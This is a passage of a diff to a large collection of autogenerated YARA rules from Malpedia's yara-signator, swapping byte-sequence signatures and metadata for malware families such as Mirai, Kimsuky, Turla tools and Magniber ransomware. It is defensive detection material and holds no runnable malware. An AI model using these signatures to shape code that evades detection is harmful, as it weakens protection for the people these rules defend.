488b9c24c0000000 } + $sequence_44 = { ff15???????? 8945fc 85c0 741a 6804010000 8d4f10 51 } + $sequence_45 = { 89750c 8d750c e8???????? 8bf0 } + $sequence_46 = { ff15???????? 4883f8ff 488bf8 7445 488d842488000000 } + $sequence_47 = { 69f60d661900 ff75f4 81c65ff36e3c 89750c 8d750c } + $sequence_48 = { c3 6a00 6800004000 6a00 ff15???????? a3???????? } + $sequence_49 = { 3decc7eea6 0f84e8000000 3d0470a8c4 0f8486000000 } + $sequence_50 = { 7551 ff33 50 6810040000 ff15???????? 8945fc 85c0 } + $sequence_51 = { 48895f2c 8b464c a802 7410 8b464c } + $sequence_52 = { 488d4c2440 ff15???????? 0fb74c2442 b856555555 } + $sequence_53 = { 4c8bc3 33d2 ff15???????? 4c8b442478 488b0d???????? 33d2 } + $sequence_54 = { ff75fc e8???????? 8b45f0 40 c745e801000000 } + $sequence_55 = { ff742404 a3???????? e8???????? 85c0 7551 ff742404 e8???????? } + $sequence_56 = { ff35???????? ff15???????? eb22 ff7518 } + $sequence_57 = { e8???????? 85c0 0f849b000000 8d45f4 50 } + $sequence_58 = { 3bc6 7551 a1???????? 8b4014 85c0 } + $sequence_59 = { 493bce 753a 8b05???????? 488b0d???????? } + $sequence_60 = { e8???????? e9???????? 3bf3 0f8435010000 395d10 0f842c010000 } + $sequence_61 = { 8be5 5d c20400 8325????????00 6a00 68???????? 6a01 } + $sequence_62 = { e8???????? 8bf8 3bfb 0f857c040000 } + $sequence_63 = { 83ffff 0f843b010000 81ff02010000 0f8499000000 } + $sequence_64 = { 4183c501 443b2e 730a eba9 4533f6 eb08 } + $sequence_65 = { ff15???????? 85c0 7412 4881c720010000 4183c501 443b2e 730a } + $sequence_66 = { 81ff02010000 0f8499000000 f605????????08 6aff 68806967ff 56 7408 } + $sequence_67 = { 5b c9 c20800 55 8bec 81ec1c010000 8d4807 } + $sequence_68 = { 83cfff 443bd3 7349 448bdf 452bda } + $sequence_69 = { 498d5c2478 e8???????? 4e8b4cb61e 4e8b44b616 33c9 } + $sequence_70 = { 81ff02010000 0f8495000000 8b3d???????? 6aff 68806967ff } + $sequence_71 = { ffb72c080000 e8???????? 5e 5d 5b c3 eb10 } + $sequence_72 = { 493bed 75a1 488bb42480000000 4c8b742470 } + $sequence_73 = { 83c40c 83c01e 50 ffd7 ff35???????? } + $sequence_74 = { 41 f00fc108 a1???????? 83c01e 50 ff15???????? } + $sequence_75 = { 5b 8be5 5d c3 0fb708 6683f902 } + $sequence_76 = { 85c0 0f85b7000000 56 ff742428 ffd7 8bf8 } + $sequence_77 = { ff15???????? 8bc3 e9???????? 48895c2408 4889742410 57 } + $sequence_78 = { 488b15???????? 4c8d442468 48c7c101000080 ff15???????? } + $sequence_79 = { 83a78c00000000 33c0 c3 51 e8???????? 0558020000 } + $sequence_80 = { 50 ff742428 89542464 ffd3 56 57 } + $sequence_81 = { 56 ff742468 ffd7 85c0 0f85b7000000 } + $sequence_82 = { 56 0f84e9000000 ff74241c ffd7 } + $sequence_83 = { ff15???????? 85c0 743f 66ba2e00 498bcf ff15???????? 4885c0 } + $sequence_84 = { 5b c20800 51 53 57 } + $sequence_85 = { ff742414 e8???????? 813d????????58876837 7525 6a01 e8???????? 6a01 } + $sequence_86 = { 8bfb 8898d8fdffff e8???????? 448bac2400030000 440fb7db 4183fd25 } + $sequence_87 = { a3???????? bf???????? 33f6 8b8618c60310 e8???????? 8947fc } + $sequence_88 = { 8b483c 66f74401160020 7408 c744244c8e85be03 e8???????? } + $sequence_89 = { 89b31c70be03 740a 83c304 83fb14 72c9 eb12 } + $sequence_90 = { 85c0 0f849d010000 395c244c 7407 68???????? } + $sequence_91 = { 894df8 894dec c745e0e724be03 8945d8 751b f605????????01 7412 } + $sequence_92 = { e42c d08b19ec3bc2 14e1 32ec } + $sequence_93 = { f3ab e8???????? 8bf0 3bf3 0f85d4020000 } + $sequence_94 = { 8bd8 83fbff 0f843d010000 81fb02010000 0f8496000000 } + $sequence_95 = { 46 33048d1062be03 85ff 75cf f7d0 eb02 33c0 } + $sequence_96 = { 0fb6b120d00310 0fb6b9a0d00310 0fb68c0632900000 0fb7b470928a0000 894df4 8b4844 d3e6 } + $sequence_97 = { ffd6 ff742414 ff742414 57 e8???????? } condition: - 7 of them and filesize < 50176 + 7 of them and filesize < 778240 } -rule MALPEDIA_Win_Fuwuqidrama_Auto : FILE +rule MALPEDIA_Win_Korlia_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "fa930744-5999-561a-b1cf-4c1122391afe" + id = "506d7e40-9719-5cd2-8082-4c83f4ea46d2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fuwuqidrama" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fuwuqidrama_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.korlia" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.korlia_auto.yar#L1-L483" license_url = "N/A" - logic_hash = "76d62a17f159b8ceb3cf4ce032c2e526c9b8417f56a11565dc77a48334fec771" + logic_hash = "35dbce2c60635b96058b21e359bfd25de3754320395854f3bf9872914070ac08" score = 75 - quality = 75 + quality = 50 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -90658,34 +90734,77 @@ rule MALPEDIA_Win_Fuwuqidrama_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 51 8bcf e8???????? 8d9424d4020000 6a04 52 8bcf } - $sequence_1 = { 83c10c 48 894c2434 89442418 75bd 8b742444 8b06 } - $sequence_2 = { c1fa05 8bc2 c1e81f 03d0 895508 8d4d08 6a04 } - $sequence_3 = { 33d2 eb16 8b4e08 2bc8 b815024d21 f7e9 c1fa06 } - $sequence_4 = { fec8 5f 8841ff 8bc5 5e 5d 5b } - $sequence_5 = { b90b000000 8bf0 8bfa 83c02c f3a5 8b4c2420 83c22c } - $sequence_6 = { 23ee 8b742428 23f7 8bd9 0bee 8b74241c c1c305 } - $sequence_7 = { 8db5f4000000 8d9d14010000 c744241800000000 e8???????? 8b442410 85c0 0f8c08010000 } - $sequence_8 = { 83c410 48 894720 53 ff15???????? 5f 5e } - $sequence_9 = { 03ee 8b742410 c1c71e 8db42ea1ebd96e 8b6930 33691c 33df } + $sequence_0 = { 6a28 68???????? 6aff 53 } + $sequence_1 = { 8bfa f7ef c1fa14 8bc2 c1e81f } + $sequence_2 = { 0f9445e4 5b 59 5a c745fcffffffff } + $sequence_3 = { c3 85db 7410 6a28 } + $sequence_4 = { 53 6a00 6a00 ffd6 ff15???????? 8bf8 b83bd4b531 } + $sequence_5 = { 51 68???????? 68???????? ffd6 b905000000 } + $sequence_6 = { 85c0 7507 53 ff15???????? 55 } + $sequence_7 = { ffd6 8bc7 b980ee3600 99 f7f9 b873b2e745 } + $sequence_8 = { 53 6a01 53 53 53 51 ff15???????? } + $sequence_9 = { 8b442404 56 6a00 6a00 6a01 } + $sequence_10 = { 6a01 6a00 6a00 6800000040 50 ff15???????? 8bf0 } + $sequence_11 = { e8???????? 8a4c2404 6a01 884814 8b4c240c } + $sequence_12 = { 7423 8b542410 8b44240c 8d4c2408 6a00 51 } + $sequence_13 = { 8b4c240c 898840200000 58 c20800 e9???????? } + $sequence_14 = { 50 56 ff15???????? 56 ff15???????? b001 } + $sequence_15 = { 59 59 c3 8b65e8 ff7588 ff15???????? 833d????????ff } + $sequence_16 = { ff15???????? 833d????????ff 750c ff742404 ff15???????? 59 c3 } + $sequence_17 = { ff15???????? 8bf0 83feff 7423 8b542410 } + $sequence_18 = { f2ae f7d1 2bf9 6810270000 } + $sequence_19 = { ff742410 ff742410 ff742410 e8???????? c21000 e8???????? 8a4c2404 } + $sequence_20 = { 8bf9 81e7ff000000 03f2 03f7 } + $sequence_21 = { b8447c0000 e8???????? 53 56 57 } + $sequence_22 = { 6a00 680030c800 6a00 6a00 68???????? } + $sequence_23 = { 8b542438 83c504 50 895500 } + $sequence_24 = { 8d442444 894d00 8b542438 83c504 } + $sequence_25 = { 6a00 6880000000 6800000400 8bce e8???????? } + $sequence_26 = { ffd6 8d44240c 6804010000 50 } + $sequence_27 = { 51 ff15???????? a1???????? b981000000 } + $sequence_28 = { 6a00 6a00 6a00 50 8bce e8???????? 6a00 } + $sequence_29 = { 85c0 750c ff15???????? 53 } + $sequence_30 = { 7403 50 ffd6 b912010000 } + $sequence_31 = { 56 57 b940000000 8d7c2411 88442410 f3ab } + $sequence_32 = { ff15???????? 50 ff15???????? 68d0070000 ff15???????? } + $sequence_33 = { 8d4c2410 6804010000 51 aa ff15???????? } + $sequence_34 = { 3bc3 57 740b 8b35???????? 50 ffd6 } + $sequence_35 = { ffd6 eb06 8b35???????? a1???????? 3bc3 7403 50 } + $sequence_36 = { 83c414 e8???????? 6a00 6a00 8d542414 } + $sequence_37 = { 6a00 8d542414 6a00 52 68???????? 6a00 } + $sequence_38 = { 68???????? 6801000080 ff15???????? 85c0 0f8599000000 53 56 } + $sequence_39 = { 33c0 8dbc245e020000 66899c245c020000 f3ab } + $sequence_40 = { 56 68ff0f1f00 ff15???????? 85c0 740a 56 } + $sequence_41 = { f3ab aa b9f9000000 33c0 } + $sequence_42 = { 5e 24fe 5b 40 81c408010000 c3 83c8ff } + $sequence_43 = { 83c41c 8d5c1850 83c520 41 81fb00200000 } + $sequence_44 = { 52 ff15???????? 85c0 8945dc } + $sequence_45 = { e9???????? c745e0a08b4100 e9???????? c745e0a88b4100 e9???????? } + $sequence_46 = { 8d8c24782c0000 50 51 e8???????? 83c41c 85c0 7443 } + $sequence_47 = { 8a443b28 88443328 46 88543b28 81fe80000000 7ccb 8b4dfc } + $sequence_48 = { 68???????? 50 c745c8f4010000 ff15???????? 8b4dec 8bf0 51 } + $sequence_49 = { 57 8d1c8584bf4100 33c0 f00fb10b 8b15???????? 83cfff 8bca } + $sequence_50 = { c785e4edffff0c000000 c785e8edffff00000000 c785ecedffff01000000 ff15???????? 8d8580edffff 50 ff15???????? } + $sequence_51 = { 50 8d8424ac010000 50 51 } + $sequence_52 = { 83e908 8d7608 660fd60f 8d7f08 8b048d144e4000 ffe0 f7c703000000 } condition: - 7 of them and filesize < 245760 + 7 of them and filesize < 263168 } -rule MALPEDIA_Win_Xagent_Auto : FILE +rule MALPEDIA_Win_Tiny_Turla_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "858895d8-2a97-5541-a089-3de82693028e" + id = "461da2a0-bc71-5807-a972-eaee61f0fc07" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xagent" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xagent_auto.yar#L1-L243" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tiny_turla" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tiny_turla_auto.yar#L1-L116" license_url = "N/A" - logic_hash = "6bd2f7e71d8c01d128cc02e9a985eec56e3c9b4bd52be45a95e998c8268d5099" + logic_hash = "3923b1794e00bdddc4d622e58d3337c930d14bfa9ca9a2022fc0085649294c88" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -90697,48 +90816,32 @@ rule MALPEDIA_Win_Xagent_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c1ea02 6bd20d b801000000 2bc2 } - $sequence_1 = { ff15???????? 8bd8 e8???????? 03d8 } - $sequence_2 = { 7702 2bc7 8b5204 8b0482 8b0488 8b4e10 85c9 } - $sequence_3 = { 33d2 eb02 8b11 8b4808 8bc1 57 8b7a08 } - $sequence_4 = { 8b7a08 c1e802 83e103 3bf8 7702 2bc7 8b5204 } - $sequence_5 = { 55 8bec 33c0 83ec0c 39412c } - $sequence_6 = { 7507 c7460c00000000 5f 5e 8be5 } - $sequence_7 = { e8???????? 8b4604 85c0 7407 8b4d08 8b11 8910 } - $sequence_8 = { ff15???????? 6a08 e8???????? 83c404 85c0 } - $sequence_9 = { 03ff 3b7e0c 7707 c7460c00000000 49 894e10 7507 } - $sequence_10 = { 7509 488b03 488bcb ff5008 488b7d8f 4883c610 488d46f8 } - $sequence_11 = { e8???????? 48833b00 740a 488b4308 } - $sequence_12 = { 4883ec30 4883792800 498bf9 498bf0 } - $sequence_13 = { 740c 488b07 4c8b13 488903 4c8917 488b13 488b0e } - $sequence_14 = { e8???????? 488b4328 4c8bcf 4c8bc6 } - $sequence_15 = { 0f92c3 488d4c2430 e8???????? 90 } - $sequence_16 = { e8???????? 90 0fb705???????? 6689442420 } - $sequence_17 = { 740c 488b07 488b0b 488903 48890f 488b5c2430 488b6c2438 } - $sequence_18 = { b803b57ea5 f7e6 c1ea06 6bd263 } - $sequence_19 = { 75f8 488d8c2430010000 482bc1 488d8c0430010000 } - $sequence_20 = { 75f8 488bf9 482bfe 2bfb } - $sequence_21 = { 75f8 488bf9 482bfb 448bcf } - $sequence_22 = { 75f8 488d4c2420 482bc1 488d4c0420 } - $sequence_23 = { 75f8 488bf9 482bfa 4c8bc7 } - $sequence_24 = { 75f8 488bf8 482bfa 488b4b28 } - $sequence_25 = { 75f8 492bc3 488bcf 6645892c03 } + $sequence_0 = { c705????????04000000 488bc8 ff15???????? 85c0 742c 488bcb } + $sequence_1 = { 85c0 742c 488bcb e8???????? 488b0d???????? } + $sequence_2 = { 4883ec20 488b1a 488d15e0ffffff 488bcb } + $sequence_3 = { c705????????01000000 4883c420 5b 48ff25???????? } + $sequence_4 = { 4883ec20 488b1a 488d15e0ffffff 488bcb ff15???????? 488905???????? 4885c0 } + $sequence_5 = { 488bcb ff15???????? 488905???????? 4885c0 744a } + $sequence_6 = { c705????????01000000 4883c420 5b 48ff25???????? 4883c420 } + $sequence_7 = { 488d15e0ffffff 488bcb ff15???????? 488905???????? 4885c0 } + $sequence_8 = { ff15???????? 85c0 742c 488bcb e8???????? 488b0d???????? } + $sequence_9 = { ff15???????? 85c0 742c 488bcb e8???????? } condition: - 7 of them and filesize < 729088 + 7 of them and filesize < 217088 } -rule MALPEDIA_Elf_Mirai_Auto : FILE +rule MALPEDIA_Win_Beatdrop_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4a94410d-6aba-512a-9a6d-b6363b222e3b" + id = "7fbd33c7-5e5a-5775-9e75-19a0333e1225" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/elf.mirai_auto.yar#L1-L109" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.beatdrop" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.beatdrop_auto.yar#L1-L116" license_url = "N/A" - logic_hash = "95cccaf1db437d04c6a57d106a32e35fecc8afe8a0ffd0ae0c2e8cb3aa402bb4" + logic_hash = "b158347b6f43a3a62739d069377789597416764bca18afcdaffdbcf2df1f7202" score = 75 quality = 75 tags = "FILE" @@ -90752,34 +90855,34 @@ rule MALPEDIA_Elf_Mirai_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 66894104 7406 66c741064000 c6410911 } - $sequence_1 = { c1ea03 89d0 c1e005 01d0 89ca 29c2 } - $sequence_2 = { 66c1e808 d0e8 8d04c0 28c2 } - $sequence_3 = { e9???????? e8???????? 66894304 e9???????? } - $sequence_4 = { 6689432a e8???????? c7433400000000 894330 c6433801 c6433903 c6433a03 } - $sequence_5 = { 8b1408 895310 8b54080c 66895314 } - $sequence_6 = { 89d0 c1e005 01d0 89ca } - $sequence_7 = { 3c19 7705 8d42e0 8801 } - $sequence_8 = { c1e005 01d0 89ca 29c2 } - $sequence_9 = { e9???????? e8???????? 66894314 e9???????? } + $sequence_0 = { 47339c8d000c0000 413384bd00080000 4133948d00080000 44335d60 0fb6d8 0fb6cc 4189d1 } + $sequence_1 = { 33557c 413384bd000c0000 4489cf 334578 41c1eb18 } + $sequence_2 = { 443385a4000000 450fb6d2 4733849500040000 450fb6d7 } + $sequence_3 = { 4c3b6610 740f 4c89e1 e8???????? } + $sequence_4 = { 4409c8 4133470c 448b7c2418 89aef8000000 } + $sequence_5 = { 47338495000c0000 4189c2 0fb6cd 41c1ea10 443385a4000000 450fb6d2 4733849500040000 } + $sequence_6 = { c1ea10 338590000000 458b74b500 4489c1 0fb6d2 } + $sequence_7 = { 41c1ef18 0fb6cd 44897c2418 894c2404 89c1 0fb6c0 c1e918 } + $sequence_8 = { c1e818 4489d1 450fb6da 418b448500 41338495000c0000 } + $sequence_9 = { 4133948c00080000 89c1 0fb6ef 440fb6c2 } condition: - 7 of them and filesize < 2228224 + 7 of them and filesize < 584704 } -rule MALPEDIA_Win_Multigrain_Pos_Auto : FILE +rule MALPEDIA_Win_Kimsuky_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f032b4ba-8128-5978-8559-debc3caa42cc" + id = "2b35147a-6567-5a82-9763-3c4ee63e8bd0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.multigrain_pos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.multigrain_pos_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kimsuky" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kimsuky_auto.yar#L1-L287" license_url = "N/A" - logic_hash = "57d310c472fb68cb78caa9b432b3db45871bc6e9132f2a98edf83ac773bc72f9" + logic_hash = "8be5626e2aa4b8842ccf79ecee20f7ed9aeff1f3bf60d56bf491e7076e9910d9" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -90791,32 +90894,53 @@ rule MALPEDIA_Win_Multigrain_Pos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 68???????? eb25 807dec00 7504 33c9 } - $sequence_1 = { 8b13 50 8d8d6cffffff e8???????? 83ec18 } - $sequence_2 = { 66894508 720b ff7520 e8???????? 83c404 8ac3 } - $sequence_3 = { c746140f000000 c7461000000000 68???????? 8bce c745fc00000000 } - $sequence_4 = { c7411000000000 50 c60100 e8???????? 8d8da4feffff } - $sequence_5 = { 83f908 720d 8b0e 50 8d145a e8???????? eb2c } - $sequence_6 = { e8???????? 68???????? 8bd0 8d4dd8 c645fc03 e8???????? } - $sequence_7 = { 1bc0 f7d8 5e 5d c20800 85f6 750f } - $sequence_8 = { 50 888534ffffff 8d8535ffffff 50 e8???????? 83c40c } - $sequence_9 = { 837d1c10 8bd8 8d4508 0f434508 56 } + $sequence_0 = { 8d85f8feffff 6804010000 50 e8???????? 8d85f0fcffff } + $sequence_1 = { ffd7 a3???????? 8d85ecfbffff 50 53 ffd7 } + $sequence_2 = { 6a00 6800f70484 6a00 6a00 68???????? 8d85e4fbffff 50 } + $sequence_3 = { ff15???????? 3db7000000 7503 56 eb18 6a00 } + $sequence_4 = { 8d95f0fcffff b9???????? e8???????? 8d95ecfbffff b9???????? } + $sequence_5 = { ff15???????? 8d85ecfbffff 50 8d85f8feffff 50 8d85f4fdffff 68???????? } + $sequence_6 = { e8???????? 83c418 8d85f8feffff 6a00 50 ff15???????? 8d85ecfbffff } + $sequence_7 = { ff15???????? 85c0 7516 ff15???????? 8bd8 e8???????? } + $sequence_8 = { ffd7 a3???????? 8d85d4f5ffff 50 } + $sequence_9 = { 8b4520 4883c514 85c0 0f857affffff 4c8b7c2460 4c8b6c2420 4c8b642428 } + $sequence_10 = { 4156 4157 4883ec40 48896c2470 } + $sequence_11 = { 48896c2460 488b4818 41bb01000000 4c8b7120 4d85f6 } + $sequence_12 = { 33d2 4883c9ff 4903de ff542468 4533c0 498bce } + $sequence_13 = { 488b6c2460 4c637d3c 33c9 41b800300000 4c03fd 448d4940 } + $sequence_14 = { 48896c2470 4889742438 4533ff 4c89642428 4c896c2420 33f6 } + $sequence_15 = { 7405 48ffcd ebdb 65488b042560000000 48897c2430 48896c2460 } + $sequence_16 = { 85c9 0f8494020000 89bda0000000 897d30 } + $sequence_17 = { 89442450 8bf0 8bc8 e8???????? } + $sequence_18 = { 85c0 0f84b3000000 85f6 0f8497000000 } + $sequence_19 = { 85c0 0f84e6000000 c6850801000000 33c0 } + $sequence_20 = { 4c89642430 c744242880000000 c744242002000000 4533c9 4533c0 ba00000040 } + $sequence_21 = { 8bcf 85c0 0f94c1 85c9 } + $sequence_22 = { 488d8a38000000 e9???????? 488d8a28010000 e9???????? } + $sequence_23 = { 895c2458 eb04 8b5c2458 c685700d000000 33d2 } + $sequence_24 = { 8bd7 3bd8 0f94c2 85d2 7419 } + $sequence_25 = { 488d95003e0000 488bc8 e8???????? 90 } + $sequence_26 = { 488d9510010000 488d4dc0 e8???????? 90 } + $sequence_27 = { 488d9510010000 498bce ff15???????? 498bce } + $sequence_28 = { 488d9500010000 4883bd1801000008 480f439500010000 4c8d05c2850500 } + $sequence_29 = { 488d9424c0000000 4883bc24d800000008 480f439424c0000000 48895c2438 c744243000f70484 48895c2428 } + $sequence_30 = { 488d9508010000 488d4c2440 e8???????? 90 488b542458 } condition: - 7 of them and filesize < 286720 + 7 of them and filesize < 1021952 } -rule MALPEDIA_Win_Lazardoor_Auto : FILE +rule MALPEDIA_Win_Sedll_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "aeee5fb7-3124-5412-93e2-d397e0b6b5aa" + id = "c98327c8-f977-5098-aace-6f65383d00ba" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lazardoor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lazardoor_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sedll" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sedll_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "6155f61e925d37cd5ef1d71aad2d5b29beaeb971eaf97c299374ef05d14474a1" + logic_hash = "df74daada1e394daccd88b8caf7c67ee5c703bfd5e5886cc476e5ba06e59b034" score = 75 quality = 75 tags = "FILE" @@ -90830,34 +90954,34 @@ rule MALPEDIA_Win_Lazardoor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4883c024 8938 e8???????? 488d1d23ce0100 } - $sequence_1 = { e8???????? ba50540000 488b0d???????? 4533c9 4533c0 ff15???????? } - $sequence_2 = { 4803cf e8???????? 488b0e 41ffc6 4883c328 } - $sequence_3 = { 4889442420 498bd4 ff15???????? 85c0 7506 ff15???????? 4533f6 } - $sequence_4 = { 4c8bb424d0010000 488b8dc0000000 4833cc e8???????? 4881c4e8010000 415f 415d } - $sequence_5 = { 488d45e8 48894de8 488945f0 488d155cde0000 } - $sequence_6 = { 83c8ff f00fc103 83f801 7516 488d05a6470100 488b4c2430 483bc8 } - $sequence_7 = { 7873 3b1d???????? 736b 488bc3 488bf3 48c1fe06 4c8d2dbe0f0100 } - $sequence_8 = { 488d1517c4feff c1e803 89442450 8bc8 89442448 } - $sequence_9 = { 488d15c2a20200 488bce ff15???????? 85c0 0f84f3000000 48c7c7ffffffff 488bc7 } + $sequence_0 = { ff75fc f30f7f45dc 6a00 6a00 6a00 } + $sequence_1 = { 741e 8bd3 8d4a01 8d642400 8a02 } + $sequence_2 = { 5e 8908 33c0 5d c20c00 8b4510 33c9 } + $sequence_3 = { 8d55f8 52 c745f800000000 68???????? 8b08 50 ff11 } + $sequence_4 = { 7412 f30f6f05???????? 8b4520 f30f7f00 830e04 f6c101 7426 } + $sequence_5 = { 83c604 83ef04 73ef 8b4d08 8b4510 51 8908 } + $sequence_6 = { 8bf0 83c404 8975e8 85f6 7507 5f } + $sequence_7 = { 7c7e 8d9b00000000 0fb60f 83c604 c1e902 } + $sequence_8 = { 50 8b4508 03c6 50 53 ff15???????? 85c0 } + $sequence_9 = { 884e01 885602 83c603 33c9 47 3bfb } condition: - 7 of them and filesize < 405504 + 7 of them and filesize < 65536 } -rule MALPEDIA_Win_Maggie_Auto : FILE +rule MALPEDIA_Win_Artra_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "81084c1b-a8b2-52e1-b50c-8b61dc38259b" + id = "5ecf739d-5644-589e-9019-73f6778eda0f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.maggie" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.maggie_auto.yar#L1-L114" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.artra" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.artra_auto.yar#L1-L273" license_url = "N/A" - logic_hash = "c0bf28bd0446ea04e23665ed8ce11b5b78fa1a4a971a7efa9966e49954f77131" + logic_hash = "47a80b3adb8b5b5a6473fc70d14da7afeb3a861c9b53c6c23d484145a04e805d" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -90869,32 +90993,48 @@ rule MALPEDIA_Win_Maggie_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? e8???????? 84c0 74ec e8???????? } - $sequence_1 = { ff15???????? 83f8ff 750f ff15???????? 2d33270000 } - $sequence_2 = { 663b05???????? 7505 e8???????? e8???????? } - $sequence_3 = { 7511 ff15???????? 85c0 7407 33c0 e9???????? } - $sequence_4 = { b8ff000000 663b05???????? 7505 e8???????? } - $sequence_5 = { 750f ff15???????? 2d33270000 f7d8 } - $sequence_6 = { 750f ff15???????? 2d33270000 f7d8 1bc0 } - $sequence_7 = { 663b05???????? 7505 e8???????? e8???????? 84c0 } - $sequence_8 = { 83f8ff 750f ff15???????? 2d33270000 f7d8 1bc0 } - $sequence_9 = { ff15???????? 83f8ff 750f ff15???????? 2d33270000 f7d8 } + $sequence_0 = { 75cc 5d 5b 8b442410 5f 5e 83c41c } + $sequence_1 = { 5f 8a08 40 84c9 75f9 2bc2 880c30 } + $sequence_2 = { 5f 5e 83c41c c21000 5f 33c0 } + $sequence_3 = { 57 33c9 8d7801 8da42400000000 8a10 40 84d2 } + $sequence_4 = { 2bc7 3bc8 72e3 8bc6 8d5001 5f } + $sequence_5 = { 800431f3 8bc6 41 8d7801 8d9b00000000 } + $sequence_6 = { e8???????? 8b3d???????? 6a00 6a00 6a00 8d442414 } + $sequence_7 = { ff15???????? 8bf8 85ff 0f8488000000 6a00 57 ff15???????? } + $sequence_8 = { 8d8c2420010000 51 8d542418 52 8d442420 50 } + $sequence_9 = { 2bc2 03fb 8a4f01 47 } + $sequence_10 = { 40 42 84c9 75f6 e8???????? } + $sequence_11 = { 8bf0 8bd1 83c404 2bf2 90 8a11 88140e } + $sequence_12 = { 90 8b542410 8d4c2410 51 56 52 ffd3 } + $sequence_13 = { 53 8b1d???????? 55 8b2d???????? 90 } + $sequence_14 = { e8???????? 8d442458 83c410 8bc8 } + $sequence_15 = { 6a00 8d54241c 52 ffd7 85c0 75cc 5d } + $sequence_16 = { 6a00 8d442414 50 ffd7 85c0 7445 } + $sequence_17 = { 7205 e8???????? 8b7c2414 8b4f3c 8b11 8b5214 8d44241c } + $sequence_18 = { 2c61 3c05 7733 885c2c18 45 83fd02 7529 } + $sequence_19 = { 8810 40 83ee01 75f3 b8???????? c6042f00 8d5001 } + $sequence_20 = { c1f805 8bcf 83e11f c1e106 8b0485e03b4100 c644080401 57 } + $sequence_21 = { c21000 a1???????? 6a00 68???????? 56 6a67 50 } + $sequence_22 = { 6a6d 56 ff15???????? be???????? 8bf8 e8???????? } + $sequence_23 = { c744241430124000 c744241800000000 c744241c00000000 89442420 ffd6 68007f0000 6a00 } + $sequence_24 = { 8b2d???????? 8b442410 8d542410 52 57 50 ffd3 } + $sequence_25 = { 8b542428 50 68???????? 6a01 } condition: - 7 of them and filesize < 611328 + 7 of them and filesize < 811008 } -rule MALPEDIA_Win_Moonbounce_Auto : FILE +rule MALPEDIA_Win_Magniber_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "300bd16a-9128-501e-b6a9-aa7b7927b326" + id = "2010ff15-6b80-529a-a5cd-f6820259a96c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moonbounce" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.moonbounce_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.magniber" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.magniber_auto.yar#L1-L174" 